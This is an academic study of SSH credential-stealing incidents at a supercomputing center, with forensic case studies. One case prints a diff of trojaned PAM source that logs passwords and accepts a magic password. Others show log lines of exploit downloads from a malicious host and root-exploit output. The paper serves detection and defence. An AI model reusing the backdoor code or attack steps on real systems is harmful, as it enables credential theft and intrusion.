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Abstract. This paper analyses the forensic data on credential 

stealing incidents over a period of 5 years across 5000 

machines monitored at the National Center for 

Supercomputing Applications at the University of Illinois. 

The analysis conducted is the first attempt in an open 

operational environment (i) to evaluate the intricacies of 

carrying out SSH-based credential stealing attacks, (ii) to 

highlight and quantify key characteristics of such attacks, 

and (iii) to provide the system level characterization of such 

incidents in terms of distribution of alerts and incident 

consequences. 
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I. INTRODUCTION 

Credential stealing attacks are an important security threat 

which can lead to a widespread penetration of critical 

network infrastructures owned by both academic 

institutions (university and/or research laboratories) and 

industry (e.g., banking) [7]. In most of these events, an 

attacker usually masquerades as a legitimate user and 

exploits system vulnerabilities to escalate privileges to root 
in order to steal (harvest) more credential.  

The grid computing community has become one of the 

preferred targets because of its diverse user base and 

extensive use of SSH [5]. However, system compromises 

due to stolen credential are not just limited to academic and 
research institutions. In the fall of 2009, the Apache 

Foundation’s main site was compromised when miscreants 

obtained unauthorized access using stolen SSH keys [9]. 

This incident raised concerns about the integrity of Apache 

software.  The frequency of credential stealing incidents 

increased in 2008 when the Debian Linux distribution’s 

predictable random number generation bug (CVE-2008-

0166) surfaced. This bug resulted in the generation of easily 

guessable cryptographic keys (e.g., SSH keys, OpenVPN 

keys, and session keys used in SSL/TLS connections) on 

the Debian platform [18]. The widespread nature of the 

credential stealing attacks resulted in a US-CERT advisory 
[2]. Furthermore, social engineering (e.g., Facebook), 

mailing systems (e.g., Gmail), and financial institutions 

have been plagued with the problem of compromised 

accounts for quite some time.  

Most of the existing studies analyze the problem of stolen 

credentials in the context of the underground economy 
(e.g., [16]) and the exposure of the end user to such attacks 

(e.g., security of internet banking [7]).  Relatively few 

publications discuss protection mechanisms; those that do 

frequently conclude that “protection against all credential -

stealing attacks is next to impossible” [7].   

This paper reports on the data-driven study of credential 

stealing incidents in an open, networked environment. The 

analysis is based on the forensic data on compromised 

accounts collected over a period of 5 years across 5000 

machines monitored at the National Center for 

Supercomputing Applications at the University of Illinois. 

Our initial investigation of a broader spectrum of security 
incidents at NCSA indicated that nearly 26% (32/124) of 

the incidents analyzed involved credential stealing [12]. 

The goals of the current study are (i) to evaluate the 

intricacies of carrying out a credential stealing attack, (ii) to 

highlight and quantify key characteristics of such attacks, 

and (iii) to provide the system-level characterization of 
such incidents in terms of distribution of alerts (responsible 

for detecting the incidents) and incident consequences.  

Key findings can be summarized as follows:  

• In all but one case attackers came into the system with 
a valid credential of an NCSA user account (31 out of 
321 incidents) and thus could not be stopped at the 
network boundary. Attackers rely on their access to an 
external repository of valid credentials to harvest more 
credentials. 

• Availability of valid credentials makes boundary 
protections (e.g., reliance only on a firewall) 
insufficient for this type of attack.  Therefore, higher 
scrutiny in monitoring user actions is required, e.g., 
introduction of schemes such as execution under tight 
scrutiny after detecting a first suspicious event (e.g., 
logging from an unknown host). 

• There is a need for system-wide correlation between 
alerts generated by different monitoring tools to 
improve detection coverage. About 28% (9/32) of 
credential stealing incidents were still missed by the 
monitors, i.e., none of the monitoring tools raised an 
alert and an incident was discovered due to external 
notification. 

 

                                                             
1 There is another large-scale incident (known as MC-216) where 
attackers used valid credentials to compromise hosts in numerous 
institutions including NCSA. This is not reported in our work. Due to the 

magnitude of the incident, it is a significant study in itself.   



 

• Sharing information (among trusted peers) on attacks 
and/or attackers is essential in detecting attacks. 20 out 
of 32 incidents were discovered because of data 
sharing among peers. For example, (i) five incidents 
were detected by watchlist alert, which watches for 
logins from unknown IP addresses; (ii) HTTP and FTP 
analyzers (which use exploit download repositories) 
detected three incidents each; and (iii) nine incidents 
were caught due to external notifications from peers.  

• Attackers follow a similar sequence of steps in 
conducting these attacks, thus making it feasible to 
construct a model that captures attacker behavior at the 
system and network levels. Such a model can (i) 
provide a way to reason about the attack independently 
of the vulnerabilities exploited and (ii) assist in 
reconfiguring the monitoring system (e.g., placing new 
alerts) and adapting detection capabilities to changes in 
the underlying infrastructure and the growing 
sophistication of attackers. 

II. RELATED WORK  

While many techniques to protect against attacks are 

available, relatively little has been published on 

measurement-based analysis of different types of attacks 

and characterization of the detection capabilities of the 

security monitoring system (tools) in real production 

settings. Databases like those provided by CERT 

(www.cert.org) and CVE (cve.mitre.org) document 

vulnerabilities and possible exploits. Other sources of 

attack data are honeypot experiments ([14], [8]) and 
dedicated test-beds, e.g., DETERlab Testbed 

(http://www.isi.edu/ deter/).  Red teams have often been 

used to collect network vulnerability data, but this is 

generally unpublished.  

While a thorough analysis of credential stealing and its 

impact has been performed by [16], it is mostly limited to 
identity theft (bank accounts or credit cards). [20] provides 

an algorithmic approach to detect multi-hop attacks. [3] 

provides measurements and analysis on the economics of 

credential stealing in underground economies.  

Schemes such as dual-factor [3] and “site key” 
authentication [1] have been proposed to deter credential 

stealing, but neither of these is very effective, especially in 

the command-based authentication used in SSH. [11] 

discusses the use of advanced statistical techniques on 

timing information collected from the network, from which 

the eavesdropper can learn significant information about 

what users type in SSH sessions.  [5] presents the details 

about the pervasiveness of attacks on SSH-based credential 

stealing. [10] postulates a potential worm and the means to 

automate SSH based attacks. While both [5] and [10] 

present an aspect of the SSH credential stealing attack, 

neither goes into the details of how it can be detected. 

III. DATA SOURCE 

Data analyzed in this study pertain to credential stealing 

incidents and are extracted from a large set of security 

incidents that have occurred over a period of 5 years at the 

National Center for Supercomputing Applications at the 

University of Illinois. We conducted the initial analysis 

[12] of 150 incident investigations (resulting in 124 actual 

incidents and 26 false positives, where a false positive is 

synonymous with no incident found) to characterize both 

the attacks and the corresponding alerts that led to incident 

discovery. Of these 150 incidents, 32 incidents were 

categorized as credential stealing. 

For every incident described in this analysis, data logs 

produced by the monitoring tools (IDS, Netflows, Syslog, 

and File Integrity Monitors) are used to determine: (i) the 

incident type, (ii) the alert generated (in most cases, a single 

alert was responsible for detecting an attack; where there 

were multiple alerts raised, we used the first one as the 
detector), and (iii) the incident detection latency and 

severity.  

Figure 1 shows the distribution of alerts that led to the 

discovery of 150 incident investigations in our dataset. The 

number in brackets provides the total number of incidents 
caught by that alert. The major findings from our analysis 

[12] are as follows: 

• The majority of incidents (55%) were due to attacks on 
authentication mechanisms with varying levels of 
sophistication, e.g., password guessing (bruteforce 
SSH; 20 incidents), exploiting vulnerabilities (e.g., 
VNC null session exploit; 17 incidents), or installing 
trojaned versions of SSH and SSHD to sniff passwords 
and target users’ public-private key pairs (credential 
stealing; 31 incidents). In all 20 cases of successfully 
guessed passwords, the attacker’s objective was to 
misuse the compromised machine for malicious 
purposes different from harvesting more credentials. 
For example, attackers tried to use a compromised 
node as a bot in a larger network of infected machines.  

• The same alert can be triggered by different attacks. 
This is because different incidents share common 
attack paths, i.e., the basic steps followed by different 
attacks in penetrating the system are often similar 
regardless of the vulnerability exploited. In this paper 
we show that similarity is even stronger for credential 
stealing attacks.  

• Anomaly-based detectors are seven times more likely 
to capture an incident than are signature-based 
detectors [12]. This is because the signatures are 
specialized to detect the presence of a known malicious 
binary. Consequently, they can be easily subverted. 
The signature-based detectors have fewer false 
positives compared to the anomaly-based detectors. 
While this finding is true for all (124) incidents 
combined, we observe that for credential stealing 
incidents, the alerts are equally distributed between the 
anomaly- and signature-based detectors. 



 

 
Figure 1: Distribution of alerts 

 

IV. EXAMPLES OF CREDENTIAL STEALING INCIDENTS 

This section presents examples (along with detailed 

investigation steps) of four credential-stealing incidents 

taken from our dataset. The examples are chosen to 

highlight (i) step-by-step forensic investigation procedure 

in discovering credential-stealing incidents (Example_1); 

(ii) sophistication of attacks and attackers using 

specialized rootkits to evade detection and remaining 

dormant for a very long duration to evade detection 

(Example_2); (iii) use of various evasion techniques to 

collect sniffed passwords from a victim machine (missed 

incident), i.e.,  installing trojaned versions of SSH, SSHD, 

and other authentication utilities (e.g., pluggable 

authentication modules such as pam and sudo) 

(Example_3); and (iv) hiding the attacker’s tracks, i.e., 

hopping from host to host in order to hide the attack traces 

in the system to make tracing the attacker’s path  very 

difficult (Example_4).  

A. Example_1: Analysis steps from IDS alert to 

credential stealing incident 

This example describes (using data snippets from real logs) 

the analysis flow from an alert to an identification of a 

credential compromise incident. 

(1) An IDS alert is triggered via a signature match 

indicating a suspicious download (victim: xx.yy.ww.zz) 

using http protocol downloaded a file called sudo.tgz from 

remote host aa.bb.cc.dd (the hostname and IP address are 

anonymized. Since credential stealing incidents often 

originate from a known peer site, both source and 

desitnation IP’s are anonymized).  

Nov  23 18:52:21 xx.yy.ww.zz >  aa.bb.cc.dd  

GET /..0/sudo.tgz (200 "OK" [737254] server6.bad-domain.com) 

In the above data snippet, sudo.tgz is an unauthorized file. 

This file is suspect because (a) sudo source code is not 

expected to be downloaded using http and (b) the host from 

which it was downloaded is not a valid Linux distribution 

repository. 

Further investigation revealed additional successful 

downloads from the local host prior to the alert generation 

(victim: xx.yy.ww.zz) from the same remote server: 

Nov 23 16:16:09 xx.yy.ww.zz > aa.bb.cc.dd  
GET /..0/vm.c (200 "OK" [6293] server6.bad-domain.com) 

 
Nov 23 16:16:36 xx.yy.ww.zz > aa.bb.cc.dd 
GET /..0/vm64.c (200 "OK" [7646] server6.bad-domain.com) 

GET /..0/vm64 (200 "OK" [645921] server6.bad-domain.com) 

Vm64.c is suspected to be source code while vm64 is a 

compiled binary. While the generated alert suggests the 

download of a suspicious source file, it does not give a 

strong context to the events prior to the download (such as 

a login, an execution of exploit, an abnormal number of 

bytes transferred, or a scan). In other words, the alert does 

not reveal what caused the potentially illegal download 

request (e.g. an exploit code, a potentially malicious user, 
or a web application making a request, malicious or 

otherwise).  

(2) Confirmation that SSH has been replaced: An Nmap 

probe of the victim host reveals a different version of 

SSHD (as compared with the proprietary version of SSHD 

installed on NCSA hosts) running on the system:  

nmap -sV -p 1-65535 victim-hostname 

Interesting ports on victim-hostname.ncsa.uiuc.edu (xx.yy.ww.zz): 

Not shown: 65534 filtered ports 

PORT   STATE SERVICE VERSION 

22/tcp open  ssh     OpenSSH 4.3p2 (protocol 2.0) 

Nmap done: 1 IP address (1 host up) scanned in 65652.33 seconds   

On looking at the logs we observe that SSHD process has 

restarted around the same time when the exploit was 
downloaded (see below). 

Nov 23 16:51:48 victim-host sshd[9409]: Received SIGHUP; 
restarting. 

At that point we have confirmation that (a) a download of 
known malicious source code was performed, (b) potential 

exploit code (binary) was also downloaded, and (c) the 

version of SSHD has changed on the host. All three 

indicators confirm that attacker was able to successfully 

execute code and obtain root on the system (since replacing 



 

SSHD requires root privileges). However, we still don’t 

know how attacker was able to get into the system. 

Time correlations in the flow data (not shown here) reveal 

that a user login has occurred using the SSH protocol (port 

22) in close proximity to the download. This login could 

explain the exploit download. However, the SSH 

connection record does not reveal (a) whether 

authentication was successful or (b) what credentials were 

used to authenticate.  

(3) Manual correlation with syslog alerts: The snippet 

shown below confirms a user login from pp.qq.rr.ss. 

Additionally, this login activity is anomalous as compared 

with the known user profile behavior pattern. 

Nov 23 16:14:35 victim-host sshd[15087]: Accepted password for user 
from pp.qq.rr.ss port 42844 ssh2 

Now we have four data points: (1) suspicious source code 
was downloaded, (2) version of sshd has changed, (3) the 

user login occurred at nearly the same time as the 

download, and (4) it was the first time that user logged in 

from IP address pp.qq.rr.ss.  

In order to confirm whether the download exploit was 
successfully perpetrated on the host, the recovered binary 

was executed on the victim system  

-bash-3.1$ /mnt/vm64 
----------------------------------- 
 Linux vmsplice Local Root Exploit 

 By qaaz 
----------------------------------- 
[+] mmap: 0x100000000000 .. 0x100000001000 

[+] page: 0x100000000000 
[+] page: 0x100000000038 
[+] mmap: 0x4000 .. 0x5000 

[+] page: 0x4000 
[+] page: 0x4038 
[+] mmap: 0x1000 .. 0x2000 

[+] page: 0x1000 
[+] mmap: 0x2aaaaaaac000 .. 0x2aaaaaade000 
[+] root  

This confirms that attacker successfully gained access to 
the system by logging in with a stolen credential and was 

able to obtain root privileges using Linux vmsplice local 

root escalation exploit (CVE-2008-0600).  

B. Example_2: Attacker remains dormant in the network  

In this incident attackers used stolen credentials and a local 

root escalation exploit to compromise a small research 

cluster. An IDS alert was generated when a malicious 

exploit signature matched for a download on one node. 

Detailed analysis revealed that this attack resulted in a 

compromise of 10 nodes, including the administrative 

system. The postmortem investigation found a rootkit 

installed by the attackers, who only targeted the 

administrator’s system even though they were successful in 

attaining root privileges on all of the research cluster nodes. 
The rootkit was found during the forensic analysis of the 

administrator's system disk image. Traditional rootkit 

detectors (chkrootkit and rootkit hunter) failed to detect the 

installation of this rootkit. Further analysis determined that 

attackers installed the Phalanx rootkit, which 

characteristically initiates a connection from the victim host 

back to the attacker system upon receipt of a trigger string. 

This makes the Phalanx rootkit highly malicious, because 

the initial trigger string connection is discarded by most of 
the monitors as a random single tcp scan on port 22 (the 

attacker never established a full connection). At the same 

time, most of the current monitors are concentrating on 

incoming traffic and miss the connection initiated by an 

internal host to the outside system. Thus, this backdoor 

method provides nearly perfect cover for an attacker to 

evade detection.  

The incident was discovered with the help of user profiling 

login anomalies. Typically, high-numbered ports are used 

for data transfer sessions (e.g., FTP or secure file copy), 

and these connections are not often monitored by the IDS 

since deep packet inspection for high-volume data transfer 

sessions is fairly expensive.  

Initial compromise. 

[20081006-host-1]$ grep 69.129.rr.ss secure* 

secure.3:Sep 21 03:04:00 host-1 sshd[15943]: Failed password for user-2 
from ::ffff:69.129.rr.ss port 2252 ssh2 

secure.3:Sep 21 03:04:15 host-1 sshd[15943]: Accepted password for 
user-2 from ::ffff:69.129.rr.ss port 2252 ssh2 

The current network flows reveal the characteristic traffic 
for Phalanx rootkit. Flows showing the corresponding login 

via SSH (connections to destination port 22) and 

subsequent flows show connect-back on high port numbers. 

08-09-21 03:08:42  tcp     137.248.152.49.39200     ->     xx.yy.1.1.22          
7        4  554         1007   RST  EU  US 

08-09-21 03:08:42 tcp xx.yy.1.1.40788     ->     137.248.152.49.42566    8        
7  889          760   CON  US  EU 

08-09-21 03:08:53 tcp xx.yy.1.1.40788    ->     137.248.152.49.42566    
17     29  1653         2045   CON  US  EU 

08-09-21 03:08:58 tcp xx.yy.1.1.40788     ->     137.248.152.49.42566    2    
371  7024         2606   CON  US  EU 

08-09-21 03:09:04 tcp xx.yy.1.1.40788     ->     137.248.152.49.42566    
23   33   4071         2333   CON  US  EU 

Initial port 22 connection and victim system connecting 

back on high-end port 42566. It should be noted that port 

42566 is arbitrary and is supplied by the attack in a trigger 

string along with the connect-back IP address. 

After the incident was discovered, in order to see any 

further activity, the rootkit-installed system was kept online 

in a very controlled environment as a honeypot. After it lay 

dormant for 10 weeks, attackers reconnected to the 

compromised node by sending a trigger string to activate 

the backdoor and initiate a connection. The objective of the 
attackers was to retrieve the sniffed passwords collected 

over the 10-week period.  

2008-12-01 00:48:27.125     0.000 TCP      209.160.40.14:44580 ->   
xx.yy.1.1:22           7      428    1 

 [connect back on high numbered ports]  

2008-12-01 00:48:27.125     5.000 TCP     xx.yy.1.1:52318 ->    



 

209.160.40.14:26850       38    42217     1 

2008-12-01 00:48:27.125     5.000 TCP      209.160.40.14:26850 ->   
xx.yy.1.1:52318       33     2101    1 

Based on the identified sophisticated rootkit we modified 

IDS monitoring to incorporate this specific attack model 

used for collecting sniffed passwords. From that time on, 

all connections were monitored for the presence of the 

signature of the trigger string used by the attacker. Upon a 

successful match, the attacker’s subsequent connections 

were flagged and alerted upon. Recent activities show that 

attackers have started encrypting the trigger string instead 
of sending it as a clear text.  

C. Example_3: Missed Incident 

In this incident, the security team was notified by the 
administrator of the system, who noticed that upon login he 

was “unable to find bash,” i.e., his shell access was disabled 

and he was seeing a “weird” error message. Further 

investigation showed that the attacker used a stolen user 

credential to gain unauthorized access and escalated to root 

using a vmsplice exploit (CVE-2008-0009). No alert was 

generated since the source of authentication was the same 

as the actual user’s IP address, and the attacker’s download 
action did not trigger an IDS alert because of the lack of 

appropriate signatures. Moreover, there was no file 

integrity monitor on the system. It was the installed 

malware that caused the bash shell to freeze. Detailed 

forensics revealed that the attacker modified authentication 

systems sudo and pam (pluggable authentication modules) 

on the compromised host in order to capture users’ 

passwords. When compared with a known good version of 

Linux pam module source code, the following code snippet 

was found added in the malware source (numbers and 

comments are added for clarification).  

$ diff --recursive Linux-PAM-0.81.good/ Linux-PAM-

0.81.malware/ 
//1) function to log user name and password  

> void do__1_log (char * user, char * pass) { 

>  FILE * f = fopen ("/lib/udev/devices/s1","a+"); 

>  if (f) { 

>   fprintf (f, "P: '%s' '%s'\n", user,pass); 

>   fclose (f); 

>  } 

> } 

 

//2) return PAM_SUCCESS if the password is the string: 

“.ssh/authorized_keys “  

> if (strstr(p,".ssh/authorized_keys  ")) returnPAM_SUCCESS; 

 

//3) function invoked to log password 

> do__1_log (name,p); 
Only in Linux-PAM-0.81.malware/: _pam_aconf.  

Note: the attacker added a function do__l_log(char* user,  

char* pass) which logs password to a file 

/lib/udev/devices/s1. Additionally, if a certain key is already 

available in the authorized_keys file, attackers are returning 

PAM_SUCCESS. This means that they have a malicious 

key added to authorized_keys. 

This attack was not just limited to exploiting vulnerabilities 

or deploying trojaned SSH and SSHD. Attackers were 

going a step ahead to install trojaned versions of other 

authentication utilities on the host.  

Additionally, malware analysis of the trojaned SSHD 

revealed that it receives commands in the form of the SSH 

client's identification string. The client ID is sent to the 

server before the key exchange takes place (in this case the 

communication was not encrypted). Commands are used 

not only to retrieve collected passwords from the trojaned 

SSH server but also to clear tracks and delete any 

associated files on the victim system (including the sniffer 
file itself). 

D. Example_4 – Multi-hop compromise 

This example illustrates the extent of the penetration by an 

attacker who obtained a single compromised account. After 

accessing the remote host, attackers look at the 
known_hosts file of the compromised account and use that 

as the potential target list. Availability of users’ passwords 

and access to unencrypted private keys (passphrase-less 

keys) allows attackers to gain access to the hosts on the 

other network. This kind of propagation matches with the 

findings in [10] where the first 100 user accounts (less than 

5% of the total in their data set) contributed to 5,885 unique 

destinations. 

In this incident, attackers also tried SSH login into every 

host inside the local network by attempting the 

compromised user account and the stolen password in order 

to find additional hosts to which this user has access. A 

scattered deployment of honeypot systems generated alerts 

for this network-level probing. Without this infrastructure, 

correlating these scans with credential stealing incidents 

would have been difficult.  

Table 111 provides distribution of all 32 credential stealing 

incidents based on various stages of attack. The check mark 

(√) shows the progress of the incident, while D represents 

the stage at which the attack was detected. Since security 

monitors dont prevent an ongoing attacker action, there are 

instances in the data where the attack progresses to the next 

stage(s) despite an early detection (e.g., incident 10 in 

Table 111). Label N represents external notification. 

Notifications have resulted in detection at the very early 

stages (e.g., incidents 8, 14, 22) whereas other times 
notifications came after the system had already been 

compromised (e.g., incidents 2, 5, 6, 17).  



 

As we can see from Table 1 and the detailed analysis 

highlighted in the four examples, the incidents show 

considerable similarities in the intended misuse of the 

system, i.e., obtaining user credentials. In order to harvest 

user credentials, attackers (i) use stolen credentials to 

authenticate to the target host, (ii) download root escalation 
exploits, and (iii) replace software with trojaned SSH, 

SSHD, sudo binaries, and pam authentication modules. 

V. CHARACTERIZATION OF INCIDENTS  

In this section we attempt to characterize the incidents in 

terms of (i) what alerts detected the incidents and (ii) 
incident consequences, i.e., how the attacker misused the 

system, what privilege level the attacker obtained, and how 

widespread the compromise was. 

A. Alert Distribution 

Security monitors rely on alerts which detect (i) deviations 

in a user’s behavior as compared with the known user 
profile (derived using syslog), (ii) malicious code download 

(flagged by IDS), and (iii) unexpected system file 

manipulation (determined using file integrity monitors). In 

the current monitoring system configuration, (i) syslogs are 

limited in detecting user profile anomalies since attackers 

masquerade themselves as regular users while logging into 

the system; (ii) IDS does not raise alerts when attackers do 

not download malware from a known source, and often 

there is no built-in signature for a given exploit; and (iii) 

file integrity monitors are not widely deployed in the 

system due to the high operational cost. 

We inspect each of the 32 credentials stealing incidents to 

determine which alert from the monitoring tools (IDS, 

netflows, file integrity monitors, and Syslog) led to the 

discovery of the incident. As seen in Figure 22, 22%(7/32) 

of incidents were discovered by the IDS signatures, 

16%(5/32) by Netflows, and 34%(11/32) by anomaly 
detectors (login or command anomalies) based on user 

profiles derived from Syslog. Note that 28% (9/32) of 

incidents were still missed by the monitors, i.e., none of the 

monitoring tools resulted in an alert. and an incident was 

discovered due to external notification (notification 

category in Figure 22). 

Further analysis of missed incidents indicates that they are 

similar to detected incidents in terms of attack patterns and 

attacker goals, i.e., an attacker comes with a known 

credential, downloads an exploit, and deploys (or attempt to 

deploy) a rootkit and sniffer to collect more credentials. 

However, in the case of missed incidents, attackers  (i) 

come from previously known sources, hence no user profile 

anomaly alert is triggered; (ii) download an exploit from a 
previously unknown location or for which IDS does not 

have a signature; and (iii) erase any traces of malicious 

activity when leaving the system, thus making detection 

very difficult. This highlights the need for system-wide 

correlation between alerts generated by different 

monitoring tools to improve detection coverage and reduce 

the percentage of missed incidents. 

For the credential stealing category the number of incidents 

detected using anomaly-based detection (11) is nearly equal 

to the ones detected using signature-based detection (12). 

When combined with all incidents categories together [12] 

the detection results skewed seven times more towards 

anomaly-based detection.  This is due to the high degree of 

varied post incident anomalous activities (scans by virus-

infected systems, transfers of huge amount of data by 

“warez” hosts, etc.)  

It is important to note that none of the credential stealing 

incidents analyzed in this study were detected using file 

integrity monitors. The reason for this is that none of the 

hosts which run file integrity monitors (e.g., Web servers or 

file servers) were compromised.  

With respect to the compromised hosts, attackers were able 

to successfully gain root 10 times, and their exploits only 

failed in one instance. Given a very wide variety of kernel 

versions and system architectures, such a high success rate 

amongst the attackers is interesting.  

We found that the attackers (prior to exploiting the host) 

perform their “reconnaissance” by utilizing a SSH 

mechanism to run a remote command to spawn a shell on a 

remote host. This remote execution of the command is not 

logged anywhere on the system. For the regular login 

activity, an entry in the wtmp2 file is created, and the 

executed commands appear in the user’s history. With a 

remote SSH command there is no entry created in wtmp, 
and the user login does not appear in a "last" or, when 

                                                             
2 wtmp file keeps track of login and logout activity on Unix like systems 
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running, a "who" (even though he/she may still have an 

open shell on the machine). The NCSA security team has 

developed a patch for SSH which logs these remote 

commands and alerts on suspicious activity. Four incidents 

have been detected by this command anomaly alert.  

 
Figure 2: Alert distribution for credential stealing attacks 

B. Incident Consequences 

We characterize the incidents’ consequences in terms of the 

privilege gained (or attempted) by the attacker and the 

system misuse.  

In all but one incident, attackers obtained access to the host 

using a stolen password (78%), a public key (16%), or 

combination of multiple authentication means (password + 

gssapi-with-mic or password + publickey) (6%). Thus, we 

see attacks propagate by using stolen credentials to obtain 

unauthorized access to other systems/networks. 

 

Figure 3: System misuse 

As shown in Figure 33, in 31% (10/32) of incidents 
miscreants were successfully able to obtain root on the 

compromised host and install a rootkit and/or sniffer by 

using a local root escalation exploit. Often, computational 

infrastructure (e.g., in scientific and research institutions) 

requires specific system libraries and/or specialized 

versions of file systems (e.g., GPFS, Luster). Because of 

software dependencies, system administrators cannot 

readily and frequently upgrade kernels, making them 

susceptible to local-root-escalation exploits. 

In 53% (17/32) of incidents, the attacker was able to obtain 

only users’ passwords, SSH key-pairs, and/or certificates. 

In 9% (3/32) of incidents, the attacker downloaded 

additional tools to scan for a vulnerability in the NFS file 

system. Thus, in a total of 93% of incidents (30/32), 

attackers were targeting and attempting to obtain 

credentials (e.g. passwords, ssh private keys, and 

certificates). In the remaining 7% (2/32) of incidents, the 

attacker used the compromised host to spam or connect 

with a botnet.  

 

Figure 4: Number of accounts and hosts compromised across incidents 

Spread of incidents: We used our data to determine the 

extent of the damage in terms of affected hosts and user 

accounts. Figure 44 shows the number of compromised 

accounts and hosts corresponding to each incident. High-

severity incidents from Figure 33 (10 compromises where 

intruder obtained root privileges) coincide with the spikes 

in the number of user accounts compromised (Figure 44).  

Furthermore, in the majority of the incidents (18), attackers 

were only able to obtain one or two accounts before the 

attack was detected. Regardless of whether attackers were 

masquerading as legitimate users, there were only a few 

hosts which (if compromised) were highly rewarding in 

terms of accounts harvesting. This may explain the 
persistence of attackers in targeting certain users and hosts.  

VI. DISCUSSION  

Our analysis shows that there are two principal ways to 

perform credential-stealing attacks:  

• An attacker obtains an unauthorized access to the 

target system by remotely exploiting system/ 

application vulnerability, e.g., buffer overflow, 

password guessing, phishing, or social engineering. 

The acquired initial entry point creates a basis for 

further penetration of the victim system and spread of 

the compromise.  

• An attacker already equipped with stolen credentials 

gains access to the network by masquerading as a 

legitimate user. The attacker then escalates to root (by 

using root exploits, known-hosts file, or incorrect file-

system permissions) to harvest more credentials by 

replacement of SSH/SSHD and/or other authentication 
modules (pam, sudo) with trojaned versions. The 

acquired user credentials enable the attack to spread 

rapidly. 

Current analysis is largely based on limited automation of 

alert generation along with manual reconstruction of events 

prior to the alert. It has limitations in terms of scalability, 
speed and exhaustiveness of investigation. On the other 



 

hand, quantity and heterogeneity of data generated by 

different monitoring tools make the task of automated 

correlations challenging.  Availability of signatures or 

anomaly algorithms also limits the capability of monitoring 

tools. Also, attackers have been found to use a variety of 

obfuscation techniques to evade detection or clean up their 
tracks. Incorporating the experience and expertise of skilled 

investigation analysts in an automated tool isn’t a trivial 

task, especially when an investigative tool is also required 

to automate comprehensive analysis and interpolate missing 

information for accurate reconstruction of the compromise. 

At the same time, this tool will also need to run on diverse 

operating systems, file systems, and architectures.  

Towards this end, we are currently working on constructing 

a state machine model that captures attacker behavior at the 

system and the network levels for each incident type. Such 

a model can (i) provide a way to reason about the attack 

independently of the vulnerabilities exploited and (ii)  assist 

in reconfiguring the monitoring system (e.g., placing new 

alerts) and adapting of detection capabilities to changes in 

the underlying infrastructure and the growing sophistication 

of attackers. 

VII. CONCLUSIONS 

The analysis reported in this paper indicates that the 

credential stealing attacks have reached a sustained 

momentum (a steady state), i.e., at any given point there are 

sufficient farmed credentials available that attackers are 

likely to get into practically any network with a valid stolen 

credential.  

While sites like NCSA are continuously configuring 

monitors to keep up with the detection, our analysis shows 

that attackers are adapting in terms of the points of entry 

into the network, kinds of exploits, malware and rootkit 

used, and methods of sniffing and collecting credentials. 

Additionally, avoidance techniques such as keeping 
systems up to date or blocking hosts/networks are not 

possible all the time (kernel upgrades delayed due to 

specific software or file system dependencies). We need to 

go beyond alert-level correlation to a macro-system-level 

correlation and to provide attack-centric detection instead 

of relying on traditional vulnerability-centric measures.  
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